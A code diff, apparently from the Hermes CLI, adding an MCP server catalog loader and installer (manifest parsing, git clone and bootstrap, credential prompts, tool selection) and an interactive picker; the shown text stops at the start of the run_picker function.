+    source: str
+    transport: TransportSpec
+    auth: AuthSpec
+    tools: ToolsSpec = field(default_factory=ToolsSpec)
+    install: Optional[InstallSpec] = None
+    post_install: str = ""
+    manifest_path: Path = field(default_factory=Path)
+
+
+# ─── Manifest loader ─────────────────────────────────────────────────────────
+
+
+class CatalogError(Exception):
+    """Manifest parse/validation failure or install error."""
+
+
+def _catalog_root() -> Path:
+    """Return the optional-mcps/ directory shipped with this Hermes install."""
+    # Prefer the env-var override / packaged location; fall back to the repo's
+    # optional-mcps/ next to the package (source checkout).
+    return get_optional_mcps_dir(Path(__file__).parent.parent / "optional-mcps")
+
+
+def _parse_env_spec(raw: Any) -> EnvVarSpec:
+    if not isinstance(raw, dict):
+        raise CatalogError(f"env entry must be a mapping, got {type(raw).__name__}")
+    name = raw.get("name") or ""
+    if not name or not re.match(r"^[A-Za-z_][A-Za-z0-9_]*$", name):
+        raise CatalogError(f"invalid env var name: {name!r}")
+    return EnvVarSpec(
+        name=name,
+        prompt=raw.get("prompt") or name,
+        required=bool(raw.get("required", True)),
+        secret=bool(raw.get("secret", True)),
+        default=str(raw.get("default") or ""),
+    )
+
+
+def _parse_manifest(path: Path) -> CatalogEntry:
+    """Read and validate a manifest.yaml. Raise CatalogError on any problem."""
+    try:
+        with open(path, "r", encoding="utf-8") as f:
+            data = yaml.safe_load(f) or {}
+    except Exception as exc:
+        raise CatalogError(f"failed to read {path}: {exc}") from exc
+
+    if not isinstance(data, dict):
+        raise CatalogError(f"{path}: manifest must be a mapping")
+
+    mv = data.get("manifest_version")
+    if mv != _MANIFEST_VERSION:
+        raise CatalogError(
+            f"{path}: manifest_version {mv!r} unsupported "
+            f"(this Hermes understands version {_MANIFEST_VERSION})"
+        )
+
+    name = data.get("name") or ""
+    if not name or not re.match(r"^[A-Za-z0-9_-]+$", name):
+        raise CatalogError(f"{path}: invalid or missing 'name'")
+
+    description = str(data.get("description") or "").strip()
+    if not description:
+        raise CatalogError(f"{path}: 'description' required")
+
+    source = str(data.get("source") or "").strip()
+
+    transport_raw = data.get("transport") or {}
+    if not isinstance(transport_raw, dict):
+        raise CatalogError(f"{path}: 'transport' must be a mapping")
+    t_type = transport_raw.get("type")
+    if t_type not in ("stdio", "http"):
+        raise CatalogError(f"{path}: transport.type must be 'stdio' or 'http'")
+    args = transport_raw.get("args") or []
+    if not isinstance(args, list):
+        raise CatalogError(f"{path}: transport.args must be a list")
+    transport = TransportSpec(
+        type=t_type,
+        command=transport_raw.get("command"),
+        args=[str(a) for a in args],
+        url=transport_raw.get("url"),
+        version=transport_raw.get("version"),
+    )
+    if t_type == "stdio" and not transport.command:
+        raise CatalogError(f"{path}: stdio transport requires 'command'")
+    if t_type == "http" and not transport.url:
+        raise CatalogError(f"{path}: http transport requires 'url'")
+
+    auth_raw = data.get("auth") or {"type": "none"}
+    if not isinstance(auth_raw, dict):
+        raise CatalogError(f"{path}: 'auth' must be a mapping")
+    a_type = auth_raw.get("type") or "none"
+    if a_type not in ("api_key", "oauth", "none"):
+        raise CatalogError(f"{path}: auth.type must be 'api_key'|'oauth'|'none'")
+    env_list_raw = auth_raw.get("env") or []
+    if not isinstance(env_list_raw, list):
+        raise CatalogError(f"{path}: auth.env must be a list")
+    env_list = [_parse_env_spec(e) for e in env_list_raw]
+    auth = AuthSpec(
+        type=a_type,
+        env=env_list,
+        provider=auth_raw.get("provider"),
+        scopes=list(auth_raw.get("scopes") or []),
+        env_var=auth_raw.get("env_var"),
+    )
+
+    tools_raw = data.get("tools") or {}
+    if not isinstance(tools_raw, dict):
+        raise CatalogError(f"{path}: 'tools' must be a mapping")
+    default_enabled = tools_raw.get("default_enabled")
+    if default_enabled is not None:
+        if not isinstance(default_enabled, list) or not all(
+            isinstance(t, str) for t in default_enabled
+        ):
+            raise CatalogError(
+                f"{path}: tools.default_enabled must be a list of strings"
+            )
+    tools_spec = ToolsSpec(default_enabled=default_enabled)
+
+    install: Optional[InstallSpec] = None
+    install_raw = data.get("install")
+    if install_raw is not None:
+        if not isinstance(install_raw, dict):
+            raise CatalogError(f"{path}: 'install' must be a mapping")
+        i_type = install_raw.get("type")
+        if i_type != "git":
+            raise CatalogError(f"{path}: install.type must be 'git' (got {i_type!r})")
+        url = install_raw.get("url") or ""
+        ref = install_raw.get("ref") or ""
+        if not url or not ref:
+            raise CatalogError(f"{path}: install.url and install.ref are required")
+        bootstrap = install_raw.get("bootstrap") or []
+        if not isinstance(bootstrap, list):
+            raise CatalogError(f"{path}: install.bootstrap must be a list")
+        install = InstallSpec(
+            type=i_type,
+            url=url,
+            ref=ref,
+            bootstrap=[str(c) for c in bootstrap],
+        )
+
+    return CatalogEntry(
+        name=name,
+        description=description,
+        source=source,
+        transport=transport,
+        auth=auth,
+        tools=tools_spec,
+        install=install,
+        post_install=str(data.get("post_install") or ""),
+        manifest_path=path,
+    )
+
+
+def list_catalog() -> List[CatalogEntry]:
+    """Return all valid catalog entries, sorted by name.
+
+    Invalid manifests are skipped silently (CI tests catch them at PR time).
+    Manifests with a future ``manifest_version`` are also skipped, but the
+    skip is surfaced via :func:`catalog_diagnostics` so the picker / catalog
+    UIs can tell the user their Hermes is out of date.
+    """
+    root = _catalog_root()
+    if not root.exists():
+        return []
+    entries: List[CatalogEntry] = []
+    _CATALOG_DIAGNOSTICS.clear()
+    for child in sorted(root.iterdir()):
+        manifest = child / "manifest.yaml"
+        if not manifest.is_file():
+            continue
+        try:
+            entries.append(_parse_manifest(manifest))
+        except CatalogError as exc:
+            msg = str(exc)
+            # Recognize the future-manifest error specifically so the UI can
+            # surface a more actionable nudge than "broken manifest".
+            if "manifest_version" in msg and "unsupported" in msg:
+                _CATALOG_DIAGNOSTICS.append((child.name, "future_manifest", msg))
+            else:
+                _CATALOG_DIAGNOSTICS.append((child.name, "invalid", msg))
+            continue
+    return entries
+
+
+# Populated by list_catalog(). Inspected by the picker / catalog UIs so the
+# user gets actionable feedback instead of a silently-shorter list.
+_CATALOG_DIAGNOSTICS: List[tuple] = []
+
+
+def catalog_diagnostics() -> List[tuple]:
+    """Diagnostics from the most recent :func:`list_catalog` call.
+
+    Returns a list of ``(entry_name, kind, message)`` tuples where ``kind``
+    is one of:
+      - ``future_manifest`` — manifest_version is newer than this Hermes
+        understands. Update Hermes to install this entry.
+      - ``invalid`` — manifest is malformed in some other way (caught by
+        CI for shipped manifests; user-modified manifests can hit this).
+    """
+    return list(_CATALOG_DIAGNOSTICS)
+
+
+def get_entry(name: str) -> Optional[CatalogEntry]:
+    """Look up a single entry by name. ``official/<name>`` prefix accepted."""
+    if name.startswith("official/"):
+        name = name[len("official/"):]
+    for entry in list_catalog():
+        if entry.name == name:
+            return entry
+    return None
+
+
+# ─── Status helpers ──────────────────────────────────────────────────────────
+
+
+def installed_servers() -> Dict[str, dict]:
+    """Return current ``mcp_servers`` block from config.yaml."""
+    cfg = load_config()
+    servers = cfg.get("mcp_servers") or {}
+    return servers if isinstance(servers, dict) else {}
+
+
+def is_installed(name: str) -> bool:
+    return name in installed_servers()
+
+
+def is_enabled(name: str) -> bool:
+    servers = installed_servers()
+    cfg = servers.get(name)
+    if not cfg:
+        return False
+    enabled = cfg.get("enabled", True)
+    if isinstance(enabled, str):
+        return enabled.lower() in {"true", "1", "yes"}
+    return bool(enabled)
+
+
+# ─── Install ─────────────────────────────────────────────────────────────────
+
+
+def _install_root() -> Path:
+    """Where git-bootstrapped MCPs are cloned. Per-user, profile-aware."""
+    root = get_hermes_home() / "mcp-installs"
+    root.mkdir(parents=True, exist_ok=True)
+    return root
+
+
+def _run_bootstrap(cwd: Path, commands: List[str]) -> None:
+    """Execute bootstrap commands in *cwd*. Raise CatalogError on first failure.
+
+    Each command runs through the shell (so `&&` etc. work). The output is
+    streamed to the user's terminal for visibility.
+    """
+    for cmd in commands:
+        print(color(f"  $ {cmd}", Colors.DIM))
+        proc = subprocess.run(cmd, cwd=str(cwd), shell=True)
+        if proc.returncode != 0:
+            raise CatalogError(
+                f"bootstrap step failed (exit {proc.returncode}): {cmd}"
+            )
+
+
+def _do_git_install(entry: CatalogEntry) -> Path:
+    """Clone the entry's repo into ``~/.hermes/mcp-installs/<name>`` and run
+    bootstrap commands. Returns the install directory."""
+    assert entry.install is not None and entry.install.type == "git"
+    install = entry.install
+    dest = _install_root() / entry.name
+
+    git = shutil.which("git")
+    if not git:
+        raise CatalogError("git is required to install this MCP but was not found on PATH")
+
+    if dest.exists():
+        # Fresh checkout each install — manifest version is the source of truth,
+        # so wipe + re-clone for determinism.
+        print(color(f"  Removing existing install at {dest}", Colors.DIM))
+        shutil.rmtree(dest)
+
+    print(color(f"  Cloning {install.url} ({install.ref}) → {dest}", Colors.CYAN))
+
+    # `git clone --branch` only accepts branches and tags, NOT commit SHAs.
+    # Detecting SHA-shaped refs upfront avoids a guaranteed stderr leak on
+    # the fast path (the --branch attempt would always fail noisily for a
+    # SHA ref before we fall back to full-clone-then-checkout).
+    is_sha_ref = bool(re.fullmatch(r"[0-9a-f]{7,40}", install.ref))
+
+    if not is_sha_ref:
+        proc = subprocess.run(
+            [git, "clone", "--depth", "1", "--branch", install.ref, install.url, str(dest)],
+        )
+        if proc.returncode == 0:
+            pass
+        else:
+            # Branch/tag form failed (unlikely for valid manifests; possible if
+            # the ref was deleted upstream). Fall through to the full-clone path.
+            if dest.exists():
+                shutil.rmtree(dest)
+            is_sha_ref = True  # treat the same as a SHA ref from here
+
+    if is_sha_ref:
+        proc = subprocess.run([git, "clone", install.url, str(dest)])
+        if proc.returncode != 0:
+            raise CatalogError(f"git clone failed for {install.url}")
+        proc = subprocess.run([git, "-C", str(dest), "checkout", install.ref])
+        if proc.returncode != 0:
+            raise CatalogError(f"git checkout {install.ref} failed")
+
+    if install.bootstrap:
+        _run_bootstrap(dest, install.bootstrap)
+
+    return dest
+
+
+def _expand_install_dir(value: str, install_dir: Optional[Path]) -> str:
+    if _INSTALL_DIR_VAR not in value:
+        return value
+    if install_dir is None:
+        raise CatalogError(
+            f"manifest references {_INSTALL_DIR_VAR} but no install block exists"
+        )
+    return value.replace(_INSTALL_DIR_VAR, str(install_dir))
+
+
+def _prompt_env_vars(specs: List[EnvVarSpec]) -> Dict[str, str]:
+    """Walk the env spec list, prompting the user for each. Writes secrets and
+    non-secrets alike to ~/.hermes/.env via save_env_value()."""
+    collected: Dict[str, str] = {}
+    for spec in specs:
+        existing = get_env_value(spec.name)
+        if existing:
+            print(color(f"  ✓ {spec.name} already set in .env", Colors.GREEN))
+            collected[spec.name] = existing
+            continue
+        value = _prompt_input(
+            spec.prompt,
+            default=spec.default or None,
+            password=spec.secret,
+        )
+        if not value:
+            if spec.required:
+                raise CatalogError(f"{spec.name} is required but no value was provided")
+            continue
+        save_env_value(spec.name, value)
+        collected[spec.name] = value
+    return collected
+
+
+def _build_server_config(
+    entry: CatalogEntry, install_dir: Optional[Path]
+) -> dict:
+    """Translate a manifest into the ``mcp_servers.<name>`` block format used
+    by hermes_cli/mcp_config.py."""
+    cfg: dict = {}
+    t = entry.transport
+    if t.type == "stdio":
+        cfg["command"] = _expand_install_dir(t.command or "", install_dir)
+        if t.args:
+            cfg["args"] = [_expand_install_dir(a, install_dir) for a in t.args]
+    elif t.type == "http":
+        cfg["url"] = t.url
+        if entry.auth.type == "oauth":
+            cfg["auth"] = "oauth"
+    return cfg
+
+
+def _read_prior_tool_selection(name: str) -> Optional[List[str]]:
+    """Return the user's prior `tools.include` for *name*, if any.
+
+    Used during reinstalls so the install-time checklist starts pre-checked
+    with whatever the user already had. Tools no longer on the server are
+    silently dropped at checklist-display time.
+    """
+    servers = installed_servers()
+    cfg = servers.get(name) or {}
+    tools_cfg = cfg.get("tools") or {}
+    if not isinstance(tools_cfg, dict):
+        return None
+    include = tools_cfg.get("include")
+    if isinstance(include, list) and all(isinstance(t, str) for t in include):
+        return list(include)
+    return None
+
+
+def _probe_tools(name: str) -> Optional[List[tuple]]:
+    """Connect to a freshly-configured MCP and list its tools.
+
+    Returns a list of ``(tool_name, description)`` tuples on success, or
+    ``None`` on any failure (server unreachable, OAuth not yet completed,
+    backing service offline, etc.). Failures are intentionally swallowed
+    here — the fallback path in :func:`_apply_tool_selection` handles them.
+    """
+    servers = installed_servers()
+    server_cfg = servers.get(name)
+    if not server_cfg:
+        return None
+    try:
+        # Import lazily so the catalog module stays cheap to load.
+        from hermes_cli.mcp_config import _probe_single_server
+
+        tools = _probe_single_server(name, server_cfg)
+        return list(tools) if tools is not None else []
+    except Exception as exc:
+        # Display the cause but never raise from the install path.
+        print(color(f"  Probe failed: {exc}", Colors.YELLOW))
+        return None
+
+
+def _write_tools_include(name: str, include: Optional[List[str]]) -> None:
+    """Persist or clear ``mcp_servers.<name>.tools.include``."""
+    cfg = load_config()
+    servers = cfg.setdefault("mcp_servers", {})
+    server_entry = servers.get(name) or {}
+    if include is None:
+        # No filter — drop any existing tools block.
+        server_entry.pop("tools", None)
+    else:
+        tools_block = server_entry.get("tools") or {}
+        if not isinstance(tools_block, dict):
+            tools_block = {}
+        tools_block["include"] = list(include)
+        tools_block.pop("exclude", None)
+        server_entry["tools"] = tools_block
+    servers[name] = server_entry
+    cfg["mcp_servers"] = servers
+    save_config(cfg)
+
+
+def _apply_tool_selection(
+    entry: CatalogEntry, *, prior_selection: Optional[List[str]]
+) -> None:
+    """Probe the server and let the user pick which tools to enable.
+
+    Probe-success path:
+      - Curses checklist of all probed tools.
+      - Pre-check uses (in priority order):
+          1. *prior_selection* (reinstall: preserve what the user had)
+          2. manifest's ``tools.default_enabled``
+          3. all tools (default)
+      - All-on selection clears any filter (no ``tools.include`` written).
+      - Sub-selection writes ``tools.include``.
+
+    Probe-fail path:
+      - If manifest declares ``tools.default_enabled`` → apply directly.
+      - Otherwise → leave config with no filter (all on when reachable).
+      - Either way, point the user at ``hermes mcp configure <name>``.
+    """
+    print()
+    print(color(f"  Probing '{entry.name}' for available tools...", Colors.CYAN))
+    probed = _probe_tools(entry.name)
+
+    # Probe failure path
+    if probed is None:
+        manifest_default = entry.tools.default_enabled
+        if manifest_default:
+            _write_tools_include(entry.name, manifest_default)
+            print(color(
+                f"  Couldn\'t probe server. Applied manifest default "
+                f"({len(manifest_default)} tools). "
+                f"Run `hermes mcp configure {entry.name}` after the server "
+                "is reachable to refine.",
+                Colors.YELLOW,
+            ))
+        else:
+            _write_tools_include(entry.name, None)
+            print(color(
+                f"  Couldn\'t probe server; installed with no tool filter "
+                "(all tools enabled when reachable). "
+                f"Run `hermes mcp configure {entry.name}` after first "
+                "connect to prune.",
+                Colors.YELLOW,
+            ))
+        return
+
+    if not probed:
+        # Probe succeeded but server reported zero tools. Nothing to filter.
+        _write_tools_include(entry.name, None)
+        print(color("  Server reported no tools.", Colors.YELLOW))
+        return
+
+    tool_names = [t[0] for t in probed]
+
+    # Build the pre-checked set in priority order
+    if prior_selection:
+        pre_set = {n for n in prior_selection if n in tool_names}
+    elif entry.tools.default_enabled:
+        pre_set = {n for n in entry.tools.default_enabled if n in tool_names}
+    else:
+        pre_set = set(tool_names)
+
+    pre_indices = {i for i, n in enumerate(tool_names) if n in pre_set}
+
+    # Non-TTY: skip the checklist. Priority matches the interactive
+    # pre-check priority: prior user selection > manifest default > all-on.
+    import sys as _sys
+    if not _sys.stdin.isatty():
+        if prior_selection is not None:
+            include = [n for n in prior_selection if n in tool_names]
+            _write_tools_include(entry.name, include)
+        elif entry.tools.default_enabled:
+            include = [n for n in entry.tools.default_enabled if n in tool_names]
+            _write_tools_include(entry.name, include)
+        else:
+            _write_tools_include(entry.name, None)
+        return
+
+    print(color(
+        f"  Found {len(probed)} tool(s). "
+        f"Pre-checked: {len(pre_indices)}.",
+        Colors.GREEN,
+    ))
+
+    from hermes_cli.curses_ui import curses_checklist
+
+    labels = [
+        f"{n}  —  {(d[:60] + '...') if len(d) > 60 else d}"
+        for n, d in probed
+    ]
+    chosen_indices = curses_checklist(
+        f"Select tools for '{entry.name}' (SPACE toggle, ENTER confirm)",
+        labels,
+        pre_indices,
+    )
+
+    if not chosen_indices:
+        # User unchecked everything; treat as "no tools" — write empty include
+        # so the server is installed but contributes nothing until reconfigured.
+        _write_tools_include(entry.name, [])
+        print(color(
+            f"  No tools selected. Run `hermes mcp configure {entry.name}` "
+            "to change.",
+            Colors.YELLOW,
+        ))
+        return
+
+    if len(chosen_indices) == len(probed):
+        # Everything selected — clear filter for the cleanest config shape.
+        # NOTE: this means any tools the server adds later (e.g. a future MCP
+        # version) will also be auto-enabled. To pin to the current set,
+        # the user can re-run `hermes mcp configure <name>` and unselect a
+        # tool to switch back to include-mode.
+        _write_tools_include(entry.name, None)
+        print(color(
+            f"  ✓ All {len(probed)} tools enabled (no filter — new tools "
+            "the server adds later will be auto-enabled).",
+            Colors.GREEN,
+        ))
+        return
+
+    chosen_names = [tool_names[i] for i in sorted(chosen_indices)]
+    _write_tools_include(entry.name, chosen_names)
+    print(color(
+        f"  ✓ {len(chosen_names)}/{len(probed)} tools enabled.",
+        Colors.GREEN,
+    ))
+
+
+def install_entry(entry: CatalogEntry, *, enable: bool = True) -> None:
+    """Install a catalog entry end-to-end.
+
+    Steps:
+        1. If ``install.type == git``, clone + run bootstrap commands.
+        2. If ``auth.type == api_key``, prompt for env vars, save to .env.
+        3. If ``auth.type == oauth`` (remote MCP / case 1), write the
+           ``auth: oauth`` marker (MCP client handles browser on first connect
+           in the non-pre-authenticated case).
+        4. Translate the manifest into an ``mcp_servers.<name>`` block and
+           save into config.yaml.
+        5. Probe the server, present a curses checklist for tool selection,
+           write ``tools.include`` (or no filter, depending on choice).
+           If probe fails, fall back to the manifest's
+           ``tools.default_enabled`` or all-on.
+        6. Print post_install notes.
+    """
+    print()
+    print(color(f"  Installing MCP '{entry.name}'", Colors.CYAN + Colors.BOLD))
+    if entry.description:
+        print(color(f"  {entry.description}", Colors.DIM))
+    if entry.source:
+        print(color(f"  Source: {entry.source}", Colors.DIM))
+    print()
+
+    install_dir: Optional[Path] = None
+    if entry.install is not None:
+        install_dir = _do_git_install(entry)
+
+    # Auth
+    if entry.auth.type == "api_key":
+        print()
+        print(color("  Configure credentials:", Colors.CYAN))
+        _prompt_env_vars(entry.auth.env)
+    elif entry.auth.type == "oauth":
+        if entry.auth.provider:
+            # Case 2: provider-mediated (Google, GitHub, etc.). We rely on
+            # the existing `hermes auth <provider>` flow. Surface guidance
+            # here rather than auto-running it — keeps the catalog install
+            # decoupled from provider-auth lifecycle.
+            print(color(
+                f"  This MCP uses {entry.auth.provider} OAuth. Run "
+                f"`hermes auth {entry.auth.provider}` if you have not "
+                "already authenticated.",
+                Colors.YELLOW,
+            ))
+        else:
+            print(color(
+                "  This MCP uses native OAuth 2.1; tokens will be acquired "
+                "on first connection (browser flow).",
+                Colors.DIM,
+            ))
+    # auth.type == "none": nothing to do.
+
+    # ── Preserve any prior user tool selection across reinstalls ────────
+    # Reading BEFORE we overwrite the entry below so a reinstall pre-checks
+    # whatever the user picked last time.
+    prior_selection = _read_prior_tool_selection(entry.name)
+
+    # Build and write the mcp_servers entry (without tools filter yet;
+    # _apply_tool_selection() finalizes it below).
+    server_cfg = _build_server_config(entry, install_dir)
+    server_cfg["enabled"] = enable
+
+    cfg = load_config()
+    cfg.setdefault("mcp_servers", {})[entry.name] = server_cfg
+    save_config(cfg)
+
+    # ── Probe + tool selection ──────────────────────────────────────────
+    _apply_tool_selection(entry, prior_selection=prior_selection)
+
+    print()
+    print(color(
+        f"  ✓ Installed '{entry.name}' "
+        f"({'enabled' if enable else 'disabled'}). "
+        f"Start a new Hermes session to load its tools.",
+        Colors.GREEN,
+    ))
+    if entry.post_install:
+        print()
+        for line in entry.post_install.strip().splitlines():
+            print(color(f"  {line}", Colors.DIM))
+    print()
+
+
+def uninstall_entry(name: str, *, purge_install_dir: bool = True) -> bool:
+    """Remove a catalog-installed MCP from config and (optionally) wipe its
+    clone directory. Returns True if anything was removed."""
+    cfg = load_config()
+    servers = cfg.get("mcp_servers") or {}
+    removed = False
+    if name in servers:
+        del servers[name]
+        if not servers:
+            cfg.pop("mcp_servers", None)
+        else:
+            cfg["mcp_servers"] = servers
+        save_config(cfg)
+        removed = True
+
+    if purge_install_dir:
+        clone = _install_root() / name
+        if clone.exists():
+            shutil.rmtree(clone)
+            removed = True
+
+    return removed

hermes_cli/mcp_config.py

@@ -749,6 +749,24 @@ def mcp_command(args):
         run_mcp_server(verbose=getattr(args, "verbose", False))
         return
 
+    # Catalog subcommands live in mcp_picker / mcp_catalog. Import lazily so
+    # the original `mcp_config` module stays import-cheap.
+    if action == "picker":
+        from hermes_cli.mcp_picker import run_picker
+        run_picker()
+        return
+    if action == "catalog":
+        from hermes_cli.mcp_picker import show_catalog
+        show_catalog()
+        return
+    if action == "install":
+        from hermes_cli.mcp_picker import install_by_name
+        import sys as _sys
+        rc = install_by_name(getattr(args, "identifier", "") or "")
+        if rc:
+            _sys.exit(rc)
+        return
+
     handlers = {
         "add": cmd_mcp_add,
         "remove": cmd_mcp_remove,
@@ -765,15 +783,20 @@ def mcp_command(args):
     if handler:
         handler(args)
     else:
-        # No subcommand — show list
-        cmd_mcp_list()
+        # No subcommand — drop the user into the catalog picker. This is the
+        # "try enabling and it flows you into setup" UX matching `hermes plugin`.
+        from hermes_cli.mcp_picker import run_picker
+        run_picker()
         print(color("  Commands:", Colors.CYAN))
+        _info("hermes mcp                                    Open the catalog picker (default)")
+        _info("hermes mcp catalog                            List Nous-approved MCPs")
+        _info("hermes mcp install <name>                     Install a catalog MCP")
         _info("hermes mcp serve                              Run as MCP server")
-        _info("hermes mcp add <name> --url <endpoint>        Add an MCP server")
+        _info("hermes mcp add <name> --url <endpoint>        Add a custom MCP server")
         _info("hermes mcp add <name> --command <cmd>         Add a stdio server")
         _info("hermes mcp add <name> --preset <preset>       Add from a known preset")
         _info("hermes mcp remove <name>                      Remove a server")
-        _info("hermes mcp list                               List servers")
+        _info("hermes mcp list                               List configured servers")
         _info("hermes mcp test <name>                        Test connection")
         _info("hermes mcp configure <name>                   Toggle tools")
         _info("hermes mcp login <name>                       Re-authenticate OAuth")

hermes_cli/mcp_picker.py

@@ -0,0 +1,322 @@
+"""MCP picker — interactive `hermes mcp picker` (also the default `hermes mcp`).
+
+Lists every catalog entry plus any custom MCP servers the user has added via
+``hermes mcp add``, lets them pick one, and routes to install / enable /
+disable / uninstall / configure-tools flows.
+
+Mirrors the `hermes plugin` picker UX: arrow keys to navigate, ENTER on a row
+to act on it. The action depends on current status:
+
+  not installed (catalog)   → install  (clone/bootstrap if needed, prompt for creds)
+  installed / disabled      → enable
+  installed / enabled       → submenu: configure tools / disable / uninstall / reinstall
+  custom (non-catalog)      → submenu: configure tools / enable / disable / remove
+
+The picker loops until the user hits ESC/q so they can manage multiple
+entries in one session.
+"""
+
+from __future__ import annotations
+
+import sys
+from dataclasses import dataclass
+from typing import List, Optional
+
+from hermes_cli.colors import Colors, color
+from hermes_cli.cli_output import prompt_yes_no
+from hermes_cli.curses_ui import curses_single_select
+from hermes_cli.mcp_catalog import (
+    CatalogEntry,
+    CatalogError,
+    catalog_diagnostics,
+    install_entry,
+    is_enabled,
+    is_installed,
+    list_catalog,
+    installed_servers,
+    uninstall_entry,
+)
+from hermes_cli.config import load_config, save_config
+
+
+# ─── Status badges ────────────────────────────────────────────────────────────
+
+_STATUS_NOT_INSTALLED = "available"
+_STATUS_DISABLED = "installed (disabled)"
+_STATUS_ENABLED = "enabled"
+_STATUS_CUSTOM_ENABLED = "custom — enabled"
+_STATUS_CUSTOM_DISABLED = "custom — disabled"
+
+
+# ─── Row model — unifies catalog and custom entries ──────────────────────────
+
+
+@dataclass
+class _Row:
+    """A row in the picker. ``entry`` is set for catalog rows; for custom
+    user-added MCPs only ``name`` + ``description`` + status are populated."""
+
+    name: str
+    description: str
+    status: str
+    entry: Optional[CatalogEntry] = None  # None for non-catalog (custom) rows
+
+    @property
+    def is_custom(self) -> bool:
+        return self.entry is None
+
+
+def _build_rows() -> List[_Row]:
+    """Return catalog rows + any custom (non-catalog) MCPs found in config."""
+    catalog_entries = list_catalog()
+    catalog_names = {e.name for e in catalog_entries}
+
+    rows: List[_Row] = []
+    for entry in catalog_entries:
+        if not is_installed(entry.name):
+            status = _STATUS_NOT_INSTALLED
+        elif is_enabled(entry.name):
+            status = _STATUS_ENABLED
+        else:
+            status = _STATUS_DISABLED
+        rows.append(
+            _Row(
+                name=entry.name,
+                description=entry.description,
+                status=status,
+                entry=entry,
+            )
+        )
+
+    # Custom MCPs the user added directly (not in the catalog)
+    for name, cfg in sorted(installed_servers().items()):
+        if name in catalog_names:
+            continue
+        enabled = cfg.get("enabled", True)
+        if isinstance(enabled, str):
+            enabled = enabled.lower() in {"true", "1", "yes"}
+        status = _STATUS_CUSTOM_ENABLED if enabled else _STATUS_CUSTOM_DISABLED
+        # Use the transport URL/command as the "description" for custom rows
+        desc = cfg.get("url") or cfg.get("command") or "(no transport)"
+        rows.append(_Row(name=name, description=str(desc), status=status))
+
+    return rows
+
+
+def _format_row(row: _Row) -> str:
+    return f"{row.name:<18} {row.status:<24} {row.description}"
+
+
+# ─── Actions ──────────────────────────────────────────────────────────────────
+
+
+def _enable_disable(name: str, *, enable: bool) -> None:
+    cfg = load_config()
+    servers = cfg.get("mcp_servers") or {}
+    server = servers.get(name)
+    if not server:
+        print(color(f"  '{name}' is not installed.", Colors.RED))
+        return
+    server["enabled"] = enable
+    cfg["mcp_servers"] = servers
+    save_config(cfg)
+    print(color(
+        f"  ✓ '{name}' {'enabled' if enable else 'disabled'}. "
+        "Start a new Hermes session for changes to take effect.",
+        Colors.GREEN,
+    ))
+
+
+def _configure_tools(name: str) -> None:
+    """Open the tool selection checklist for an already-installed MCP.
+
+    Delegates to the existing ``cmd_mcp_configure`` flow which probes the
+    server, displays a checklist, and writes ``tools.include``.
+    """
+    import argparse
+    from hermes_cli.mcp_config import cmd_mcp_configure
+
+    cmd_mcp_configure(argparse.Namespace(name=name))
+
+
+def _remove_custom(name: str) -> None:
+    """Remove a non-catalog MCP entry from config.yaml."""
+    cfg = load_config()
+    servers = cfg.get("mcp_servers") or {}
+    if name not in servers:
+        print(color(f"  '{name}' is not configured.", Colors.RED))
+        return
+    if not prompt_yes_no(f"Remove '{name}' from mcp_servers?", default=False):
+        return
+    del servers[name]
+    if not servers:
+        cfg.pop("mcp_servers", None)
+    else:
+        cfg["mcp_servers"] = servers
+    save_config(cfg)
+    print(color(f"  ✓ Removed '{name}'", Colors.GREEN))
+
+
+def _handle_row(row: _Row) -> None:
+    """Act on the picked row based on its current status."""
+    # === Catalog row, not yet installed ===
+    if row.entry and not is_installed(row.name):
+        try:
+            install_entry(row.entry, enable=True)
+        except CatalogError as exc:
+            print(color(f"  ✗ install failed: {exc}", Colors.RED))
+        return
+
+    # === Catalog row, installed but disabled ===
+    if row.entry and not is_enabled(row.name):
+        _enable_disable(row.name, enable=True)
+        return
+
+    # === Catalog row, installed + enabled OR custom row ===
+    if row.is_custom:
+        # Custom (non-catalog) row submenu
+        actions = [
+            "Configure tools (probe server + re-pick)",
+            "Enable" if not is_enabled(row.name) else "Disable",
+            "Remove from config",
+        ]
+        choice = curses_single_select(f"Action for '{row.name}' (custom)", actions)
+        if choice is None:
+            return
+        if choice == 0:
+            _configure_tools(row.name)
+        elif choice == 1:
+            _enable_disable(row.name, enable=not is_enabled(row.name))
+        elif choice == 2:
+            _remove_custom(row.name)
+        return
+
+    # Catalog row, installed + enabled
+    print()
+    print(color(f"  '{row.name}' is already enabled.", Colors.DIM))
+    actions = [
+        "Configure tools (probe server + re-pick)",
+        "Disable (keep config, stop loading on next session)",
+        "Uninstall (remove config and any cloned files)",
+        "Reinstall (re-clone, re-prompt for credentials)",
+    ]
+    choice = curses_single_select(f"Action for '{row.name}'", actions)
+    if choice is None:
+        return
+    if choice == 0:
+        _configure_tools(row.name)
+    elif choice == 1:
+        _enable_disable(row.name, enable=False)
+    elif choice == 2:
+        if prompt_yes_no(f"Uninstall '{row.name}'?", default=False):
+            if uninstall_entry(row.name):
+                print(color(
+                    f"  ✓ Uninstalled '{row.name}'. "
+                    "Credentials in .env preserved — delete manually if no longer needed.",
+                    Colors.GREEN,
+                ))
+            else:
+                print(color(f"  '{row.name}' was not installed", Colors.DIM))
+    elif choice == 3:
+        try:
+            assert row.entry is not None
+            install_entry(row.entry, enable=True)
+        except CatalogError as exc:
+            print(color(f"  ✗ reinstall failed: {exc}", Colors.RED))
+
+
+# ─── Output / entry points ────────────────────────────────────────────────────
+
+
+def _print_rows_text(rows: List[_Row]) -> None:
+    """Plain-text catalog dump used as a fallback when curses can't run, and
+    as the default output of `hermes mcp catalog`."""
+    if not rows:
+        print()
+        print(color("  No MCPs in the catalog or configured.", Colors.DIM))
+        print()
+        return
+
+    print()
+    print(color("  MCP Catalog + configured servers:", Colors.CYAN + Colors.BOLD))
+    print()
+    print(f"  {'Name':<18} {'Status':<24} Description")
+    print(f"  {'-' * 18} {'-' * 24} {'-' * 11}")
+    for row in rows:
+        print(f"  {_format_row(row)}")
+    print()
+    print(color(
+        "  Install: hermes mcp install <name>    Picker: hermes mcp",
+        Colors.DIM,
+    ))
+
+    # Surface manifest-version warnings so users know when their Hermes is
+    # too old to install everything in the catalog.
+    diags = catalog_diagnostics()
+    future = [d for d in diags if d[1] == "future_manifest"]
+    if future:
+        print()
+        for name, _, msg in future:
+            print(color(
+                f"  ⚠ '{name}' requires a newer Hermes — run `hermes update` "
+                "to install this entry.",
+                Colors.YELLOW,
+            ))
+        print()
+    print()
+
+
+def show_catalog() -> None:
+    """`hermes mcp catalog` — print the curated list + custom servers, no interaction."""
+    _print_rows_text(_build_rows())
+
+
+def run_picker() -> None:
